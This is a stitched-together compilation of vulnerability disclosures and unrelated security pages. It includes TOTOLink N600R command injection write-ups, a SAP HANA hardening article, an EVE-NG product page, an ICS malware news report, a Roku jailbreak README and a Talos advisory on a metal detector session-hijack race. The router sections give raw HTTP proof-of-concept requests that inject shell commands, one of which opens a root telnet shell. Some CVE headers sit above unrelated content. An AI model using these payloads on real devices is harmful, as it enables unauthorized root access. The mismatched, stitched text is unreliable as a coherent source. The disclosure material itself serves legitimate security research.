TOTOLink N600R V5.3c.7159_B20190425 was discovered to contain a command injection vulnerability via the langtype parameter in /setting/setLanguageCfg.

**TOTOlink N600R V5.3c.7159\_B20190425 Command injection vulnerability****Overview**

*   Manufacturer's website information：http://www.totolink.cn
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=2&ids=36

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

The content obtained by the program through the langtype parameter is passed to V6, and then the matched content is formatted into V9 through the sprintf function, and V9 is brought into the cstesystem function

At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V5.3c.7159\_B20190425
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 135
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647869489:2
    Connection: close
    
    {"topicurl":"setting/setLanguageCfg",
    "langType":"cn$(1s>/tmp/2.txt)"
    	"operationMode":	0,
    	"loginFlag":	0,
    	"lanIp":	"192.168.0.1",
    	"wanConnStatus":	"connected",
    	"multiLangBt":	"",
    	"langFlag":	0,
    	"helpBt":	1,
    	"languageType":	"cnnn",
    	"helpUrl_":	"",
    	"productName":	"N600R",
    	"fmVersion":	"V5.3c.7159",
    	"webTitle":	"",
    	"copyRight":	"",
    	"autoLangBt":	0,
    	"CSID":	"CS160R"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28906: IOT_vuln/TOTOLink/N600R/2 at main · EPhaha/IOT_vuln

TOTOLink N600R V5.3c.7159_B20190425 was discovered to contain a command injection vulnerability via the devicemac parameter in /setting/setDeviceName.

**TOTOlink N600R V5.3c.7159\_B20190425 Command injection vulnerability****Overview**

*   Manufacturer's website information：http://www.totolink.cn
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=2&ids=36

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

The content obtained by the program through the devicemac parameter is passed to V6, and then the content matched by V6 is formatted into v18 through the sprintf function. Finally, v18 is executed through the system function. There is a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V5.3c.7159\_B20190425
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 145
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647874864:2
    Connection: close
    
    {
    	"topicurl":"setting/setDeviceName",
    	"file_exist":"1",
    	"num":"1",
    	"deviceMac":"';telnetd -l /bin/sh -p 10002;'",
    	"deviceName":"zoe"
    }
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28905: IOT_vuln/TOTOLink/N600R/1 at main · EPhaha/IOT_vuln

After extensive testing on RHEL 8.2, 8.4, 8.6 and 9 using the SAP HANA validation test suite, Red Hat’s engineering team concluded that SELinux can run in Enforcing mode with minimal impact to database performance. This is important because it means that RHEL customers will be able to apply higher security levels to their hosts running SAP HANA and tailor the policies to their needs.

SAP HANA is SAP’s in-memory database (DB) that has been around since 2010. It is used as the backbone of their main applications like Enterprise Resource Planning (ERP) or Business Warehouse (BW), or as a standalone application since it incorporates many features that are useful for Big Data and analytics.

There are other databases (Oracle, SQL Server, DB2, MaxDB and Sybase) on which SAP applications can run, but starting in 2027 customers wishing to maintain regular support will have to migrate to the new ERP suite, SAP S/4HANA. The suite only runs on SAP HANA, and Red Hat Enterprise Linux (RHEL) is one of two supported platforms for the database.

All of SAP’s applications are critical since they sit at the core of the company, and SAP HANA is especially resource demanding. Given this criticality, IT departments need to drive the highest levels of security and performance for the SAP ecosystem to limit impact on the company’s operations.

In February 2022, after extensive testing on RHEL 8.2, 8.4, 8.6 and 9 using the SAP HANA validation test suite (which is used by SAP to assess if a system can run SAP HANA at acceptable performance levels), Red Hat’s engineering team concluded that SELinux can run in Enforcing mode (the recommended mode) with a minimal impact to database performance (around 2%, which is acceptable and in line with SAP standards). 

SAP has already modified the OSS Note with the recommendations for SAP HANA on RHEL 8, and will do so for other versions once they have completed the tests themselves.

This is important because it means that RHEL customers will be able to apply higher security levels to their hosts running SAP HANA and tailor the policies to their needs. This adds another piece to the Red Hat platform for SAP workloads that plays a crucial role in providing everything RHEL customers need to manage the entire lifecycle of the SAP hosts in an easier way with a stronger security posture.

**What is SELinux?**

Security-Enhanced Linux (SELinux) is a Linux Security Model (LSM) that allows defining security policies to implement mandatory access controls (MAC), providing a very granular layer to strengthen the OS against attacks. The underlying idea is to regulate or constrain the possible actions of a subject (usually a process) on a target (files, memory, I/O devices, network resources, etc.). 

The policies contain rules that are evaluated when a subject tries to access a target to determine whether access will be allowed. In addition to MAC, SELinux is also based on and implements role-based access control (RBAC).

In SELinux, processes run in domains so they are separated from each other. Each process is assigned a username, a role and a domain, and each target is labeled with a name, role and a type. In the policies, the domains that users need to belong to in order to execute an action on a target (for example to bind to a listening port) are specified. If a process is compromised, the attacker will only have access to the resources in the domain that process has been assigned to, avoiding the danger of that attacker having access to system files and gaining control of the whole operating system.

This is also a very useful feature for applications deployed in containers, as it provides an additional layer of isolation between the containers and the hosts on which they run.

SELinux has 3 operation modes:

*   Enforcing. The policies are active and enforced.
    
*   Permissive. The system uses the policies but it does not deny access to the targets, it just writes the approval and denial messages in the system logs (this mode is normally used to test policies before rolling them out to production).
    
*   Disabled.
    

**Further recommendations**

There are other security guidelines that Red Hat’s engineering team have compiled in this whitepaper as a result of this testing.

**Minimize RHEL and package installation**

The first is to carry out a minimal installation of RHEL on the servers that will host SAP HANA in order to minimize the opportunities for malicious exploits. There are many packages in the OS that aren’t used by a host that only runs SAP HANA, so there is no need to install them as they can be potential points of attack. Besides this, having a minimal installation will make the server update process much easier.

From RHEL 7 on there is an option that allows you to install only the packages needed for basic functionality. In addition to that, the compat-sap c++ and libtool-ltdl will need to be installed as well, as they are used by the DB. Depending on the customer scenario, they might need to install additional packages on top of the minimal installation, but the recommendation from Red Hat is to go for the minimal RHEL installation plus the two additional packages, and then add the rest that are necessary depending on the usage of the DB.

Complementing the minimal package installation, we can use a plugin to whitelist application RPMs. The fapolicyd RPM plugin registers any update done with YUM or RPM package managers and notifies the fapolicyd daemon about changes in the install database. If there is an attempt to install an RPM which is not in the fapolicyd whitelist, it will be denied.

Another recommendation is to disable all of the network services that are not strictly needed for the normal functioning of SAP HANA and for the applications and users to connect to it. Here, as with the OS packages, the fewer network services listening on different ports, the lower the chances of attack. And since network services need to be regularly patched to avoid newly discovered exploits, their maintenance will be easier if their number is reduced. Some of the services whose deactivation is highly recommended are vsftpd (Very Secure FTP Daemon) and  telnet, because the transactions of the former are unencrypted and the latter is an unsecured protocol.

**Restrict user privileges**

The next recommendation for hardening the security of RHEL hosts running SAP HANA is to restrict the number of users that can run the sudo command and thus be able to execute other commands as root.

It’s also very important to disable the possibility of logging in with the root user via ssh, so that it can only be utilized locally on the host. Having another account (with permissions to log on via ssh) that can run a reduced set of administrative commands using ‘su -’ should be enough.

All SAP installations create a user called <sid>adm (‘sid’ is the SAP installation name or identifier) and it has unrestricted permissions over all the SAP processes and files. It is similar to root at SAP level and it also exists for SAP HANA. It is recommended to limit the number of people with access to this user and change its password as soon as the system is handed over to the admin team after installation and set up.

**Automate logouts and password expiry**

The next set of recommendations concerns the password and login policies for the users. It is advised to enable automatic logouts after a certain time of inactivity, to define the validity period of passwords as well as how often they can be changed and to lock out users after a number of failed attempts, so that brute force attacks are prevented.

**Restrict user file and home directory permissions**

There are also things to consider regarding file and user home directory permissions. Newly created files should not by default be readable or modifiable by users other than the one that has created them. In order to achieve this, the default umask for new files should be set to 077, and home directories should only be accessible by their owner.

**Encrypt hard drives**

An added layer of security is achieved by using encrypted hard drives. In order to unlock root and secondary volumes that are encrypted, RHEL provides an implementation of the Policy-Based Decryption (PBD) that allows different unlocking methods to be combined (like user password, Trusted Platform Module devices (TPM), smart cards, etc.) in the form of policies so that the volumes can be unlocked in different ways.

The implementation that comes with RHEL consists of the Clevis framework and plugins called pins. The recommendation is to use one of the subcategories of PBD called Network Bound Disk Encryption (NBDE) with which root volumes can be encrypted (on physical and virtual machines) and the encryption key is tied to an external server (or servers) in a secure and anonymous way across the network.

The node that has the root volumes to be unlocked uses a Clevis client, and the external server(s) are Tang server(s). When the node boots, it tries to connect to the external Tang server(s) performing a cryptographic handshake. If it can reach the minimum number of servers that has been defined (or the only server if there is only one Tang server) it will be able to construct its decryption key to unlock the volume and continue booting. This mechanism makes it more difficult for attackers to gain control of the node because they would need access to it and to the Tang server(s).

**Encrypt network traffic**

SAP HANA supports the use of encrypted channels for both client connections (from applications, users, administration clients or data provisioning tools) and internal DB process communication, so it is recommended to use this feature when the network is not protected in another way.

Another possibility is to use VPN tunnels to transfer encrypted information. It is very important to have a well-defined network topology for SAP HANA tailored to the use cases of the customer. The SAP HANA Security Guide contains many more recommendations that should be taken into account when planning a SAP HANA landscape deployment. A particularly important one is to configure SSL between the DB and the clients.

**Conclusion**

This set of recommendations allows customers to run their SAP workloads in an environment with greater security controls while maintaining very granular control of the processes that keep performance levels at an optimal level. Find out more here: Red Hat Enterprise Linux Security Hardening Guide for SAP HANA 2.0.

Security recommendations for SAP HANA on RHEL

An OS Command Injection vulnerability in the configuration parser of Eve-NG Professional through 4.0.1-65 and Eve-NG Community through 2.0.3-112 allows a remote authenticated attacker to execute commands as root by editing virtualization command parameters of imported UNL files.

**Home**

EVE - The Emulated Virtual Environment  
For Network, Security and DevOps  
Professionals

EVE - The Emulated Virtual Environment  
For Network, Security and DevOps  
Professionals

EVE - The Emulated Virtual Environment  
For Network, Security and DevOps  
Professionals

EVE - The Emulated Virtual Environment  
For Network, Security and DevOps  
Professionals

EVE - The Emulated Virtual Environment  
For Network, Security and DevOps  
Professionals

**Important Note: LOG4J – CVE-2021-45046 CVE-2021-44228 CVE-2022-27903 DOES NOT affect EVE-NG.**

**EVE-NG Professional Edition:**

EVE-NG PRO platform is ready for today’s IT-world requirements. It allows enterprises, e-learning providers/centers, individuals and group collaborators to create virtual proof of concepts, solutions and training environments.

EVE-NG PRO is the first clientless multivendor network emulation software that empowers network and security professionals with huge opportunities in the networking world. Clientless management options will allow EVE-NG PRO to be as the best choice for Enterprise engineers without influence of corporate security policies as it can be run in a completely isolated environment.

   

EVE Professional Edition: 4.0.1-86 EVE-NG Professional (01 May 2022)

_Release notes link_

Download EVE Professional

**_Upgrade notes:_**

_**If you are upgrading your EVE PRO or EVE LC form Versions 3.0.1-16 or later, please follow the link below:**_

_Upgrade EVE Pro or LC to the newest version_

_**If you are upgrading your EVE PRO or EVE LC form Versions 2.0.6.52 or earlier, please Contact to the EVE Live Helpdesk:**_

_Live Helpdesk_

EVE-NG Professional/Learning Center Cookbook

**_EVE-NG PRO/LC Cookbook version 4.14 (23 October, 2021)_**_Download link EVE PRO/LC Cookbook_ **Section updates:** 3.3 Ubuntu download link update10.6 Remove Cloud interfaces for Editor and User14.1.5 Custom web page for server-gui docker14.1.6 Custom web page SSL for server-gui docker

****Some Features:****

EVE brings You the power You need to mastering your network within multivendor environment designing and testing.

  

*   KVM HW accelaration
*   Topology designer “click and play”
*   Import/export configuration
*   Labs xml file format
*   Picture import and maps “click and play”
*   Custom Kernel support for L2 protocols
*   Memory optimization ( UKSM )
*   CPU Watchdog
*   Full HTML5 User Interface
*   Ability to use without additionnals tools
*   Multiusers
*   Interaction with real network fully supported
*   Simultaneous lab instances
*   Derivated  from Ubuntu LTS 18.04 server for long term support 

****EVE-NG-PRO Emulation Software****

_The brand new structure is created with many updated features and improvements._  

*   Dynamic console porting, no limits, fixing issues for multi user consoling, Telnet porting choose is random
*   Hot links, interconnection running nodes, ports immediately response, shut no shut, Ethernet only
*   1024 nodes support per lab
*   Docker containers support
*   HTML desktop console to EVE management, clientless EVE management
*   Closing feature of running lab placing it to running folder, option run more than one lab simultaneously
*   Import/export configs for eve lab to/from local PC
*   Multiuser support, Administrator role only
*   EVE User account access time limitation
*   NAT cloud, integrated NAT option with DHCP on the EVE
*   Integrated Wireshark capture using docker, ethernet only
*   Multi configurations for single lab
*   Lab design features, links and objects
*   Custom template for own node deployment
*   Lab timer for self-training
*   EVE Labs control management
*   Information display of running labs and nodes per user. Admin control of processes
*   Link quality bandwidth, delay, jitter and loss set feature
*   EVE Cluster
*   Google Cloud EVE PRO support

_Upcoming features in EVE-NG PRO:_

*   Current version display and the newest available  
    
*   Fix permissions button on web  
    
*   New lab design options
*   Lab search option
*   Live lab resource widget, CPU, RAM
*   Lab timer, countdown improvement

CVE-2022-27903

IBM QRadar SIEM 7.3, 7.4, and 7.5 in some senarios may reveal authorized service tokens to other QRadar users. IBM X-Force ID: 210021

CVE-2021-38919: Security Bulletin: IBM QRadar SIEM is vulnerable to using components with Known Vulnerabilities

The recent discovery of highly customized malware targeting programmable logic controllers has renewed concerns about the vulnerability of critical infrastructure.

The US Cybersecurity and Infrastructure Security Agency (CISA), along with the NSA, FBI, and others, this week urged critical infrastructure organizations — especially in the energy sector — to implement defenses against a set of highly sophisticated cyberattack tools designed to target and disrupt industrial environments.

The warning applies particularly to ICS and OT networks using programmable logic controllers (PLCs) from Schneider Electric and Omron and servers based on Open Platform Communications Unified Architecture (OPC UA). The advisory was prompted by the recent discovery of three malware tools custom-built to target these technologies and manipulate them in dangerous and potentially destructive ways. However, the malware can be adapted to attack other ICS technologies as well.

CISA's advisory contained a series of mitigation measures that it recommended organizations implement proactively to reduce exposure to the new threat.

Mandiant analyzed the new attack tools recently in partnership with Schneider and is collectively tracking them under the name INCONTROLLER. In a report this week, the security vendor described the malware as having an "exceptionally rare and dangerous" capability and posing a critical risk to organizations that use the targeted equipment. Mandiant compared INCONTROLLER to previous ICS-specific threats such as Stuxnet, which was used to destroy hundreds of centrifuges at an Iranian nuclear-enrichment facility in 2010, and Industroyer, which caused a power outage in Ukraine in 2016.

**Work of a Russian State-Sponsored Group?**  
"We believe INCONTROLLER is very likely linked to a state-sponsored group given the complexity of the malware, the expertise and resources that would be required to build it, and its limited utility in financially motivated operations," says Rob Caldwell, director of industrial control systems and operational technology at Mandiant. He says Mandiant has been unable to associate the malware with any previously tracked group but believes those behind it are most likely Russia-linked. "While our evidence connecting INCONTROLLER to Russia is largely circumstantial, we note it given Russia's history of destructive cyberattacks, its current invasion of Ukraine, and related threats against Europe and North America."

Mandiant identified one of the attack tools as "Tagrun," a tool for scanning OPC environments, enumerating OPC servers, harvesting data from them, and brute-forcing credentials. The security vendor identified the tool as likely used for conducting reconnaissance on industrial networks. Mandiant has dubbed the second tool as "Codecall," which it described as a framework that uses two common industrial protocols — Modbus and Codesys — to communicate and interact with at least three Schneider PLCs. The malware can identify Schneider and other Modbus-enabled devices on a network and connect to them using the two protocols. The third tool, "Omshell," targets Omron PLCs via HTTP, Telnet, and a proprietary Omron protocol. It is designed to interact with a mechanism on Omron devices for monitoring the safe running of so-called servo motors used in industrial applications. The malware can gain shell access to Omron PLCs and take a variety of malicious actions, including wiping device memory, resetting a device, loading backup data, and executing arbitrary code on it.

Collectively the malware tools have capabilities that allow attackers to surveil and collect data from target industrial environments that they can then use to identify high-value systems and to launch potentially catastrophic attacks against them in industrial settings. Potential attack scenarios include threat actors using Omshell and/or Codecall to crash targeted PLCs and disrupt operations; sending malicious commands to PLCs to sabotage industrial processes; or disabling safety controllers to cause physical destruction in a plant or industrial setting.

"The components of INCONTROLLER contain more sophisticated methods of interacting with and attacking or modifying the targeted devices than seen in previous ICS-specific malware," Caldwell says. These components are designed to make interaction with PLC devices easy for attackers with little detailed knowledge of the targeted ICS protocols. "Further, these components are modular and could be extended to target additional devices or add additional capabilities," he says.

Mandiant said it is also tracking two other tools targeted at Windows-based systems that appear to be related to INCONTROLLER activity. One of them exploits a known vulnerability, CVE-2020-15368, to install and exploit a vulnerable driver on target systems, and the other is a backdoor that enables reconnaissance activity. The tools could be used to support a threat actor's broader goals in an industrial cyberattack, Mandiant said.

**A Clear and Present Danger to Industrial Environments**  
ICS security vendor Dragos listed a total of 16 devices and software tools from Omron and Schneider that it said the malware was designed to interact with and exploit. The technologies are used in a wide range of industry verticals. But Dragos said its analysis of the malware suggests it is targeted mostly at equipment in liquefied natural gas (LNG) and electric power environments.

Dragos is collectively tracking the attack tools as "PIPEDREAM" and the threat actors behind it as "CHERNOVITE." A whitepaper that the company released this week on the threat identified the threat actor as having the ability — among other things — to manipulate the torque and speed of Omron servo motors in a way that could cause enough physical destruction to result in loss of life. Dragos' whitepaper listed several other malicious actions that threat actors could use the malware for, including triggering denial of control and denial for view for ICS operators; disrupting operating technology by masquerading as a trusted process; disabling process controllers to extend time-to-recovery from an incident; and undermining authentication and encryption mechanisms in OT environments.

"PIPEDREAM is a clear and present threat to the availability, control, and safety of industrial control systems and processes endangering operations and lives," Dragos said.

News of the malware tools comes just days after reports of Ukraine's computer emergency response team (CERT-UA) thwarting an effort by Russia's Sandworm group to disrupt the country's power grid using Industroyer, one of the first known malware tools targeted specifically at the electric grid. So far, researchers have discovered at least seven highly sophisticated ICS-specific attack tools, which include Stuxnet, Industroyer, Triton, and BlackEnergy.

Danielle Jablanski, OT cybersecurity strategist at Nozomi Networks, says the combined tools in this case were built to search for specific devices, to understand their operational parameters, to gain credentialed access, and to remotely control various legitimate functions of the devices for their intended objectives. "These are customizable based on the devices targeted but can be modified to target additional devices that leverage the same protocols," she says.

Jablanski says that options for thwarting attacks become scarce when threat actors have the credentials and know how to use devices based on their design, protocols, and features.

It's presently unclear in what host environment the newly discovered tools were found. But typically, some stop-gap measures for mitigating exposure to the threat would include disabling unnecessary functionality, introducing access controls to limit legitimate users who communicate with the device, and taking password management seriously. "Device hardening to limit the susceptibility and severity of cyber incidents is a staple of defense in depth strategies across ICS/OT environments," she says.

Eric Byres, CEO of aDolus Technology, says the new tools highlight a recent trend away from previous attacks where threat actors gained access to an OT environment by leapfrogging to it from the IT network. Those kinds of attacks have become less common with many organizations tightening OT security. So, sophisticated attackers are finding other ways to establish access to their victims' OT networks, he says pointing to Stuxnet as an example.

"Stuxnet did it through a combination of infected USB flash drives, printer sharing, and modified PLC logic files," he says. Similarly, Dragonfly, which was Russian in origin, attacked the manufacturers of OT control equipment and replaced the software they supplied to their industrial customers with trojanized versions.

"These supply chain-driven attacks are now becoming the preferred method for nation-state attackers, especially the Russian spy agencies," Byres says. "By going after OT suppliers rather than the OT systems directly, they get tremendous multiplication effects."

New Malware Tools Pose 'Clear and Present Threat' to ICS Environments

Roku devices running RokuOS v9.4.0 build 4200 or earlier that uses a Realtek WiFi chip is vulnerable to Arbitrary file modification.

**Root My Roku**

A persistent root jailbreak for RokuOS v9.4.0 build 4200 devices using a Realtek WiFi chip.  
A big thank you to ammar2 and popeax from the Exploitee.rs Discord for helping discover and develop this.

**Features**

*   Spawns a telnet server running as root on port 8023.
*   Enables the low-level hardware developer mode.
*   Adds many new secret screens and debug features to the main menu.
*   _Blocks channel updates, firmware updates, and all communication with Roku servers._

**Usage**

1.  Download any new channels you might want to use after the jailbreak.  
    Once you jailbreak your device, all communication with Roku's servers will be blocked.  
    Any channels you currently have installed should continue to work.  
    Please see the F.A.Q. below for details.
2.  Enable Developer Settings on your Roku device.
3.  Download the latest dev-channel.zip from the releases page.
4.  Upload dev-channel.zip using the guide from the previous step.
5.  Follow the prompts on screen, then reboot to jailbreak!

**Applications**

*   Using a Roku TV to drive ambient lighting: https://www.youtube.com/watch?v=V\_enynuw-rc (details).

**F.A.Q.****Which devices does this affect?**

Affected devices include _almost all_ Roku TVs and some Roku set-top boxes.  
In theory, any Roku device running RokuOS v9.4.0 build 4200 or earlier that uses a Realtek WiFi chip is vulnerable.  
You can check your current software version from Settings -> System -> About.  
While it is not possible to manually check your WiFi chip manufacturer, the channel provided for this exploit will tell you if your device is vulnerable or not.

**Can this brick my device?**

No! It makes no changes to the underlying firmware that the device runs.  
If anything bad happens, a factory reset will always recover your device.

**How do I un-jailbreak my device?**

You have two options:

*   Factory reset your device. This will clear NVRAM and remove the jailbreak.
*   Using the telnet server on port 8023, delete /nvram/udhcpd-p2p.conf and reboot.

**Is Roku aware of this exploit?**

Some of the critical components required for the exploit chain no longer work in RokuOS v10.  
The NFS mount option that is used for arbitrary file modification gets disabled, and the service used for persistence and privilege escalation is no longer used.

While RokuOS v10 has started rolling out, many devices have not received the update yet.

**Why does the jailbreak block communication with Roku servers?**

This is a precautionary measure to prevent the jailbreak from being disabled or removed.  
In the past, Roku has taken some _creative_ measures to forcefully patch jailbroken devices. One such example was an update to the screensaver channel that would check for a telnet service, connect to it, and command it to un-root and update the device.

Unfortunately, the servers used for channel and firmware updates the same ones used to communicate with Roku in general. Blocking updates means that no new channels can be installed and that certain features like "My Feed" and "Search" will no longer work.  
Applications that communicate with other services (e.g. YouTube, Netflix, HBO) will still work.

**How can I prevent my non-jailbroken Roku from updating?**

Edit your modem/router's DNS settings to use the IP address of dns.rootmyroku.com.  
You can find the current IP address using nslookup, dig, or online DNS lookup tools.

**Why should I trust the code you execute on my device?**

You don't have to!

All of the files required to reproduce this exploit are available in this repo:

*   The local channel used to load the remote payload is available under local.
*   The remote payload loaded over NFS is available under remote.
*   The script used to create the NFS and DNS servers are available under server.

**Exploit Details**

There's two main vulnerabilities that make this exploit possible: arbitrary file modification and privilege escalation.

RokuOS actually does a decently good job at sandboxing channels to prevent them from accessing the underlying filesystem. In addition to running as a restricted user, a software sandbox, and a chroot jail, Roku's Linux kernel has grsecurity patches applied. These patches mitigate common exploit techniques used in jailbreaks and privilege escalation. Furthermore, the entire root filesystem is read-only and baked into the firmware. Only persistent storage (NVRAM) and temp directories are writable.

**Arbitrary File Modification**

Two things conspired to allow arbitrary file modification. The first was that an undocumented pkg_nfs_mount channel manifest option. This option was meant to reduce the software development lifecycle when creating a channel by allowing the channel's source code to be hosted on a different machine using NFS. This removes the need to re-package and re-upload channels after every code change.  
The second was a shortcoming of the grsecurity patches and the Linux kernel in general: symlinks over NFS act weird. While grsecurity was configured specifically to not allow symlinking to directories owned by other users, the ownership and permission checks no longer work properly when the symlink resides on an NFS mount. This allows us to create a symlink in the remote channel's package that points to the root of the main filesystem. (See remote/source/Main.brs for details.)  
This provided us with the ability to modify persistent storage and temp files, but only as the app user.

**Privilege Escalation**

From there, we discovered that the process that configures udhcpd (a DHCP service used for pairing speakers and remotes) for Realtek chipsets could be made to read a config file from NVRAM, a location that the app user has access to. If we could leverage it properly, it would let us manipulate a service running as the root user and also give us a means of persisting across reboots. Thankfully, udhcpd has an option for executing a script (notify_file) with a single parameter (lease_file) whenever a DHCP lease is created. It wasn't perfect though: the udhcpd service would only run the script if it has the "execute" bit set. While we could create arbitrary files using our previous exploit, we didn't have control over the file's permissions and as a result, none of the payload scripts we create are marked as executable. To make matters more difficult, we couldn't pass the payload script as lease_file to the built-in shell executables because udhcpd would overwrite the script contents first.  
Ultimately, the solution involved creating a lease_file value polyglot that is both an AWK script and a legal file name. (See remote/bootstrap.conf for details.)

**Footnote**

If anyone at Roku is reading this: you desperately need a _real_ bug bounty program.

Without one, there's little incentive to research and report vulnerabilities when you're not sure if you'll be rewarded for your efforts or not. While we took this project on for fun as a hobby, almost no professional security researchers are going to dedicate as much effort as we did for a "maybe".

CVE-2022-27152: GitHub - llamasoft/RootMyRoku: A persistent root jailbreak for most Roku devices.

xterm through Patch 370, when Sixel support is enabled, allows attackers to trigger a buffer overflow in set_sixel in graphics_sixel.c via crafted text.

CVE-2022-24130: XTERM - Change Log

An authentication bypass vulnerability exists in the CMA run_server_6877 functionality of Garrett Metal Detectors iC Module CMA Version 5.0. A properly-timed network connection can lead to authentication bypass via session hijacking. An attacker can send a sequence of requests to trigger this vulnerability.

**Summary**

An authentication bypass vulnerability exists in the CMA run\_server\_6877 functionality of Garrett Metal Detectors iC Module CMA Version 5.0. A properly-timed network connection can lead to authentication bypass via session hijacking. An attacker can send a sequence of requests to trigger this vulnerability.

**Tested Versions**

Garrett Metal Detectors iC Module CMA Version 5.0

**Product URLs**

https://garrett.com/security/walk-through/accessories

**CVSSv3 Score**

7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-303 - Incorrect Implementation of Authentication Algorithm

**Details**

The Garrett iC Module provides network connectivity to either the Garrett PD 6500i or Garrett MZ 6100 models of walk-through metal detectors. This module enables a remote user to monitor statistics such as alarm and visitor counts in real time as well as make configuration changes to metal detectors.

The Garrett iC Module exposes an authenticated CLI over TCP port 6877. This interface is used by a secondary GUI client, “CMA Connect”, to interact with the iC Module on behalf of the user. After a client successfully authenticates they may send plaintext commands to interact with the device. This CLI is how the remote software invokes the majority of its functionality when getting and setting various device configurations.

The software responsible for the CLI server maintains two separate lists for authenticated and unauthenticated connections. When an unauthenticated connection provides a valid password the software will copy certain fields from the unauthenticated structure to an authenticated structure. There is a logical flaw in the spawning of authenticated threads that allows an attacker with no knowledge of the device’s password to exploit a race condition and supplant themselves as the socket associated with the recently authenticated connection.

Included below is a partial decompilation of the described flow.

    activity = select(max_sd + 1, &readfds, 0, 0, 0);
    ready_6877 = 0;
    if ( activity >= 0 || *_errno_location() == 4 )
    {
      if ( (readfds.__fds_bits[tcpFd / 32] & (1 << (tcpFd % 32))) != 0 )
      {
        new_socket = accept(tcpFd, (struct sockaddr *)&from, &len);
        if ( new_socket >= 0 )
        {
          if ( new_socket > max_sd )
            max_sd = new_socket;
          socket_timeout.tv_sec = 20;
          socket_timeout.tv_usec = 0;
          setsockopt(new_socket, 1, 20, &socket_timeout, 8u);
          setsockopt(new_socket, 1, 21, &socket_timeout, 8u);
          set_telnet_options(new_socket);
          v1 = strlen((const char *)version_string);
          send(new_socket, version_string, v1, 0x4000);
          send(new_socket, "\r\n", 2u, 0x4000);
          send(new_socket, passwordPrompt, 0xDu, 0x4000);
          printf("%i <-- %s\n", ++clientNum, (const char *)passwordPrompt);
          printf("%i <-- %s\n", clientNum, (const char *)passwordPrompt);
          memset(&new_client, 0, sizeof(new_client));
          new_client.sd = new_socket;                                                                                 [1] Assign the current socket to new_client.sd, and add to unauth_client array
          new_client.client_num = clientNum;
          memcpy(&v39.buf[13], &new_client.buf[13], 0x6Fu);
          *(_QWORD *)&v39.sd = *(_QWORD *)&new_client.sd;
          *(_QWORD *)&v39.buf[5] = *(_QWORD *)&new_client.buf[5];
          add_client(v39);
        }
        else
        {
          perror("accept");
        }
      }
    }
    
    ...
    
    for ( i = 0; i <= 49; ++i )                                                                                    [2] Iterate over all active, unauthenticated clients
    {
      client = &unauthenticated_clients[i];
      if ( client->sd )
      {
        sd = client->sd;
        if ( (readfds.__fds_bits[sd >> 5] & (1 << (sd % 32))) != 0 )
        {
          if ( !recv(sd, buffer, 0x200u, MSG_PEEK | MSG_DONTWAIT) )                                                     
          {
            printf("\x1B[33mClient %i disconnected\n\x1B[0m", clientNum);
            shutdown(sd, 2);
            close(sd);
            reset_unauth_client(client);
          }
          v2 = &client->buf[strlen((const char *)client->buf)];
          v3 = strlen((const char *)client->buf);
          valread = read(sd, v2, 124 - v3);
          if ( valread <= 0 )
          {
            printf("socket %i on 6877 has disconnected!\n", sd);
            shutdown(sd, 2);
            close(sd);
            reset_unauth_client(client);
          }
          else if ( strchr((const char *)client->buf, '\n') || strchr((const char *)client->buf, '\r') || client[1].sd )
          {
            v4 = strcspn((const char *)client->buf, "\r\n");
            client->buf[v4] = 0;
            if ( checkPassword(client->buf) == 1 )                                                                     [3] Verify password supplied by active socket
            {
              increment_in_ptr();
              thread_args[thread_in_ptr].sd = new_socket;                                                               [4] Set authenticated client struct's socket descriptor to `new_socket` (from [1]), NOT client.sd (from [2])
              memcpy(&thread_args[thread_in_ptr].sockaddr, &from, sizeof(thread_args[thread_in_ptr].sockaddr));
              thread_args[thread_in_ptr].clientNumber = thread_in_ptr;
              ...
              pthread_attr_init(&attr);
              pthread_attr_setdetachstate(&attr, 1);
              pthread_create(&thread, &attr, (void *(*)(void *))handle_new_connection, &thread_args[thread_in_ptr]);    [5] Spawn authenticated client handler thread using most recent `new_client`
              thread_register[thread_in_ptr] = thread;
              pthread_attr_destroy(&attr);
              reset_unauth_client(client);
            }
            ...
    

If an attacker spawns a connection to TCP port 6877 of a vulnerable device between the time a remote user (A) connects to the device and (B) supplies a valid password, it is the attacker’s socket that will be copied at position [4] and not the remote user’s, resulting in a hijack of the authenticated session and access to the CLI without prior knowledge of the password. During testing, there was approximately 0.5 seconds between the time the remote CMA software established the connection and sent the user’s password.

**Timeline**

2021-08-17 - Vendor Disclosure  
2021-11-10 - Talos granted disclosure extension  
